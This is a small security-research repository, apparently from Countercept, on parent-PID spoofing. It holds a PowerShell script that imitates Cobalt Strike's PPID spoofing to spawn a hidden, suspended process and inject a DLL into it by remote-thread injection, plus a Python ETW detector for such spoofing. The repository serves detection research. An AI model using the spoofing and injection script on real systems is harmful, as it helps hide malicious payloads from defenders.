├── LICENSE ├── PPID-Spoof.ps1 ├── README.md └── detect-ppid-spoof.py /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2018, Countercept 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /PPID-Spoof.ps1: -------------------------------------------------------------------------------- 1 | function PPID-Spoof{ 2 | <# 3 | 4 | .SYNOPSIS 5 | Ppid-Spoof-Process-Masquerade is used to replicate how Cobalt Strike does ppid spoofing and masquerade a spawned process. 6 | 7 | Author: In Ming Loh 8 | Email: inming.loh@countercept.com 9 | 10 | .PARAMETER ppid 11 | Parent process PID 12 | 13 | .PARAMETER spawnTo 14 | Path to the process you want your payload to masquerade as. 15 | 16 | .PARAMETER dllPath 17 | Dll for the backdoor. 18 | If powershell is running on 64-bits mode, dll has to be 64-bits dll. The same for 32-bits mode. 19 | 20 | .EXAMPLE 21 | PS> Spoof-Masquerade-Process -ppid 1234 -spawnto "C:\Windows\System32\notepad.exe" -dllpath messagebox.dll 22 | #> 23 | 24 | [CmdletBinding()] 25 | param ( 26 | [Parameter(Mandatory = $True)] 27 | [int]$ppid, 28 | [Parameter(Mandatory = $True)] 29 | [string]$spawnTo, 30 | [Parameter(Mandatory = $True)] 31 | [string]$dllPath 32 | ) 33 | 34 | # Native API Definitions 35 | Add-Type -TypeDefinition @" 36 | using System; 37 | using System.Runtime.InteropServices; 38 | 39 | [StructLayout(LayoutKind.Sequential)] 40 | public struct PROCESS_INFORMATION 41 | { 42 | public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; 43 | } 44 | 45 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 46 | public struct STARTUPINFOEX 47 | { 48 | public STARTUPINFO StartupInfo; public IntPtr lpAttributeList; 49 | } 50 | 51 | [StructLayout(LayoutKind.Sequential)] 52 | public struct SECURITY_ATTRIBUTES 53 | { 54 | public int nLength; public IntPtr lpSecurityDescriptor; public int bInheritHandle; 55 | } 56 | 57 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 58 | public struct STARTUPINFO 59 | { 60 | public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; 61 | } 62 | 63 | [Flags] 64 | public enum AllocationType 65 | { 66 | Commit = 0x1000, Reserve = 0x2000, Decommit = 0x4000, Release = 0x8000, Reset = 0x80000, Physical = 0x400000, TopDown = 0x100000, WriteWatch = 0x200000, LargePages = 0x20000000 67 | } 68 | 69 | [Flags] 70 | public enum MemoryProtection 71 | { 72 | Execute = 0x10, ExecuteRead = 0x20, ExecuteReadWrite = 0x40, ExecuteWriteCopy = 0x80, NoAccess = 0x01, ReadOnly = 0x02, ReadWrite = 0x04, WriteCopy = 0x08, GuardModifierflag = 0x100, NoCacheModifierflag = 0x200, WriteCombineModifierflag = 0x400 73 | } 74 | 75 | public static class Kernel32{ 76 | [DllImport("kernel32.dll", SetLastError = true)] 77 | public static extern IntPtr OpenProcess( 78 | UInt32 processAccess, 79 | bool bInheritHandle, 80 | int processId); 81 | 82 | [DllImport("kernel32.dll", SetLastError=true)] 83 | [return: MarshalAs(UnmanagedType.Bool)] 84 | public static extern bool InitializeProcThreadAttributeList( 85 | IntPtr lpAttributeList, 86 | int dwAttributeCount, 87 | int dwFlags, 88 | ref IntPtr lpSize); 89 | 90 | [DllImport("kernel32.dll", SetLastError=true)] 91 | [return: MarshalAs(UnmanagedType.Bool)] 92 | public static extern bool UpdateProcThreadAttribute( 93 | IntPtr lpAttributeList, 94 | uint dwFlags, 95 | IntPtr Attribute, 96 | IntPtr lpValue, 97 | IntPtr cbSize, 98 | IntPtr lpPreviousValue, 99 | IntPtr lpReturnSize); 100 | 101 | [DllImport("kernel32.dll", SetLastError = true)] 102 | public static extern IntPtr GetProcessHeap(); 103 | 104 | [DllImport("kernel32.dll", SetLastError=false)] 105 | public static extern IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, UIntPtr dwBytes); 106 | 107 | [DllImport("kernel32.dll", SetLastError=true)] 108 | public static extern bool CreateProcess( 109 | string lpApplicationName, 110 | string lpCommandLine, 111 | ref SECURITY_ATTRIBUTES lpProcessAttributes, 112 | ref SECURITY_ATTRIBUTES lpThreadAttributes, 113 | bool bInheritHandles, 114 | uint dwCreationFlags, 115 | IntPtr lpEnvironment, 116 | string lpCurrentDirectory, 117 | [In] ref STARTUPINFOEX lpStartupInfo, 118 | out PROCESS_INFORMATION lpProcessInformation); 119 | 120 | [DllImport("kernel32.dll", SetLastError=true)] 121 | public static extern bool CloseHandle(IntPtr hHandle); 122 | 123 | [DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)] 124 | public static extern IntPtr VirtualAllocEx( 125 | IntPtr hProcess, 126 | IntPtr lpAddress, 127 | Int32 dwSize, 128 | AllocationType flAllocationType, 129 | MemoryProtection flProtect); 130 | 131 | [DllImport("kernel32.dll", SetLastError = true)] 132 | public static extern bool WriteProcessMemory( 133 | IntPtr hProcess, 134 | IntPtr lpBaseAddress, 135 | byte[] lpBuffer, 136 | Int32 nSize, 137 | out IntPtr lpNumberOfBytesWritten); 138 | 139 | [DllImport("kernel32.dll")] 140 | public static extern bool VirtualProtectEx( 141 | IntPtr hProcess, 142 | IntPtr lpAddress, 143 | Int32 dwSize, 144 | uint flNewProtect, 145 | out uint lpflOldProtect); 146 | 147 | [DllImport("kernel32.dll")] 148 | public static extern IntPtr CreateRemoteThread( 149 | IntPtr hProcess, 150 | IntPtr lpThreadAttributes, 151 | uint dwStackSize, 152 | IntPtr lpStartAddress, 153 | IntPtr lpParameter, 154 | uint dwCreationFlags, 155 | IntPtr lpThreadId); 156 | 157 | [DllImport("kernel32.dll")] 158 | public static extern bool ProcessIdToSessionId(uint dwProcessId, out uint pSessionId); 159 | 160 | [DllImport("kernel32.dll")] 161 | public static extern uint GetCurrentProcessId(); 162 | 163 | [DllImport("kernel32.dll", SetLastError = true)] 164 | public static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList); 165 | 166 | [DllImport("kernel32.dll")] 167 | public static extern uint GetLastError(); 168 | 169 | [DllImport("kernel32", CharSet=CharSet.Ansi)] 170 | public static extern IntPtr GetProcAddress( 171 | IntPtr hModule, 172 | string procName); 173 | 174 | [DllImport("kernel32.dll", CharSet=CharSet.Auto)] 175 | public static extern IntPtr GetModuleHandle( 176 | string lpModuleName); 177 | } 178 | "@ 179 | 180 | # Check if the pid specified is within the same session id as the current process. 181 | $processSessionId = 0 182 | $parentSessionId = 0 183 | $currentPid = [Kernel32]::GetCurrentProcessId() 184 | $result1 = [Kernel32]::ProcessIdToSessionId($currentPid, [ref]$processSessionId) 185 | $result2 = [Kernel32]::ProcessIdToSessionId($ppid, [ref]$parentSessionId) 186 | 187 | if(!$result1 -or !$result2){ 188 | Write-Host "kernel32!ProcessIdToSessionId function failed!" 189 | break 190 | } 191 | if($processSessionId -ne $parentSessionId){ 192 | Write-Host "Different session id for processes! Try process that's within the same session instead." 193 | break 194 | } 195 | 196 | # Prepare all the argument needed. 197 | $sInfo = New-Object StartupInfo 198 | $sInfoEx = New-Object STARTUPINFOEX 199 | $pInfo = New-Object PROCESS_INFORMATION 200 | $SecAttr = New-Object SECURITY_ATTRIBUTES 201 | $SecAttr.nLength = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr) 202 | $sInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($sInfoEx) 203 | $lpSize = [IntPtr]::Zero 204 | $sInfoEx.StartupInfo = $sInfo 205 | $hSpoofParent = [Kernel32]::OpenProcess(0x1fffff, 0, $ppid) 206 | $lpValue = [IntPtr]::Zero 207 | $lpValue = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([IntPtr]::Size) 208 | [System.Runtime.InteropServices.Marshal]::WriteIntPtr($lpValue, $hSpoofParent) 209 | $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName 210 | 211 | # ppid spoofing and process spoofing happening now. 212 | $result1 = [Kernel32]::InitializeProcThreadAttributeList([IntPtr]::Zero, 1, 0, [ref]$lpSize) 213 | $sInfoEx.lpAttributeList = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($lpSize) 214 | $result1 = [Kernel32]::InitializeProcThreadAttributeList($sInfoEx.lpAttributeList, 1, 0, [ref]$lpSize) 215 | $result1 = [Kernel32]::UpdateProcThreadAttribute($sInfoEx.lpAttributeList, 216 | 0, 217 | 0x00020000, # PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000 218 | $lpValue, 219 | [IntPtr]::Size, 220 | [IntPtr]::Zero, 221 | [IntPtr]::Zero) 222 | $result1 = [Kernel32]::CreateProcess($spawnTo, 223 | [IntPtr]::Zero, 224 | [ref]$SecAttr, 225 | [ref]$SecAttr, 226 | 0, 227 | 0x08080004, #EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW | CREATE_SUSPENDED 228 | # 0x00080010, # EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE (This will show the window of the process) 229 | [IntPtr]::Zero, 230 | $GetCurrentPath, 231 | [ref] $sInfoEx, 232 | [ref] $pInfo) 233 | 234 | if($result1){ 235 | Write-Host "Process $spawnTo is spawned with pid "$pInfo.dwProcessId 236 | }else{ 237 | Write-Host "Failed to spawn process $spawnTo" 238 | break 239 | } 240 | 241 | $dllPath = (Resolve-Path $dllPath).ToString() 242 | 243 | # Load and execute dll into spoofed process. 244 | $loadLibAddress = [Kernel32]::GetProcAddress([Kernel32]::GetModuleHandle("kernel32.dll"), "LoadLibraryA") 245 | $lpBaseAddress = [Kernel32]::VirtualAllocEx($pInfo.hProcess, 0, $dllPath.Length, 0x00003000, 0x4) 246 | $result1 = [Kernel32]::WriteProcessMemory($pInfo.hProcess, $lpBaseAddress, (New-Object "System.Text.ASCIIEncoding").GetBytes($dllPath), $dllPath.Length, [ref]0) 247 | # $result1 = [Kernel32]::VirtualProtectEx($pInfo.hProcess, $lpBaseAddress, $dllPath.Length, 0x20, [ref]0) 248 | $result1 = [Kernel32]::CreateRemoteThread($pInfo.hProcess, 0, 0, $loadLibAddress, $lpBaseAddress, 0, 0) 249 | } 250 | 251 | # This is the code used in creating the messagebox dll. 252 | # BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) 253 | # { 254 | # switch (ul_reason_for_call) 255 | # { 256 | # case DLL_PROCESS_ATTACH: { 257 | # int result = MessageBox(NULL, L"Press OK to kill the spawned process.", L"Countercept", MB_OK); 258 | # if (result == IDOK) { 259 | # TerminateProcess(GetCurrentProcess(), 0); 260 | # } 261 | # } 262 | # break; 263 | # case DLL_THREAD_ATTACH: 264 | # break; 265 | # case DLL_THREAD_DETACH: 266 | # case DLL_PROCESS_DETACH: 267 | # break; 268 | # } 269 | # return TRUE; 270 | # } 271 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | https://www.countercept.com/blog/detecting-parent-pid-spoofing/ 2 | -------------------------------------------------------------------------------- /detect-ppid-spoof.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Author: In Ming Loh 3 | Email: inming.loh@countercept.com 4 | 5 | Requirements: 6 | 1. Python 3 7 | 2. pip install pywintrace 8 | 3. pip install psutil 9 | 4. Windows machine 10 | ''' 11 | 12 | import time 13 | import etw 14 | import psutil 15 | 16 | def getService(name): 17 | service = None 18 | try: 19 | service = psutil.win_service_get(name) 20 | service = service.as_dict() 21 | except Exception as ex: 22 | print("Something went wrong. Please contact the developer.") 23 | print(str(ex)) 24 | return service 25 | 26 | def get_me_my_parent(x): 27 | _etwData = x[1] 28 | _realParentPid = int(_etwData['EventHeader']['ProcessId']) # PID that generated this event 29 | _parentPid = int(_etwData['ParentProcessID']) 30 | _pid = int(_etwData['ProcessID']) 31 | 32 | # Check parent pid with pid that causes this event (In other words, the original parent). 33 | _isSpoofed = _realParentPid != _parentPid 34 | 35 | if _isSpoofed: 36 | # Get PID for service Appinfo. This is the one that will cause consent.exe to run 37 | service = getService('Appinfo') 38 | if service and service['status'] == 'running' : 39 | appinfo_pid = service["pid"] 40 | else : 41 | print("Appinfo service not found or is not running.") 42 | return 43 | 44 | # Check if this is caused by UAC. (UAC will spoof your parent process by using svchost service name appinfo) 45 | _isCausedByUac = True if _realParentPid == appinfo_pid else False 46 | 47 | if _isSpoofed and not _isCausedByUac: 48 | process_name = "" 49 | fake_parent_process_name = "" 50 | real_parent_process_name = "" 51 | 52 | for proc in psutil.process_iter(): 53 | if proc.pid == _pid: 54 | process_name = proc.name() 55 | elif proc.pid == _parentPid: 56 | fake_parent_process_name = proc.name() 57 | elif proc.pid == _realParentPid: 58 | real_parent_process_name = proc.name() 59 | 60 | print("Spoofed parent process detected!!!\n\t{0}({1}) is detected with parent {2}({3}) but originally from parent {4}({5}).".format(process_name, _pid, fake_parent_process_name, _parentPid, real_parent_process_name, _realParentPid)) 61 | 62 | def main_function(): 63 | # define capture provider info 64 | providers = [etw.ProviderInfo('Microsoft-Windows-Kernel-Process', etw.GUID("{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}"))] 65 | 66 | # create instance of ETW class 67 | job = etw.ETW(providers=providers, event_callback=lambda x: get_me_my_parent(x), task_name_filters="PROCESSSTART") 68 | 69 | # start capture 70 | job.start() 71 | 72 | try: 73 | while True: 74 | pass 75 | except(KeyboardInterrupt): 76 | job.stop() 77 | print("ETW monitoring stopped.") 78 | 79 | if __name__ == '__main__': 80 | main_function() 81 | --------------------------------------------------------------------------------